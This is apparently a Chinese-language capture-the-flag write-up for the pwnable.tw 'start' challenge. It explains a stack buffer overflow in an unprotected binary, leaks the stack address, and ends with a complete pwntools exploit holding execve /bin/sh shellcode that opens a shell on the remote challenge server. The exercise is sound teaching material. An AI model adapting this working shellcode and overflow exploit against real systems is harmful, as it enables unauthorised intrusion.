我们首先查看源码
我们发现它没有开启任何保护
我们尝试运行一下
所以这个汇编代码的这一部分
应该是把这个字符串压入栈内。
反编译一下
这一部分应该是调用了sys这个函数 fd=1是标准输出
buf的字节长是5*4=20个字节而这里的标准输入3Ch是六十个字节,明显是栈溢出了。
因为它什么保护都没有开启,所以我们可以控制返回地址,所以我们可以考虑传入shellcode,接着将返回地址覆盖到shellcode地址上,为了覆盖shellcode的地址,我们需要找到一个地址,就是esp,我们可以覆盖返回地址为08048087,那么程序会调回去,继续输出,而此时esp走到了esp的位置,会将esp的地址输出。
EXP:
from pwn import *
p = remote('chall.pwnable.tw',10000)
p.recvuntil(':')
payload = 'a'*20 + p32(0x08048087)
p.send(payload)
addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)
p.interactive()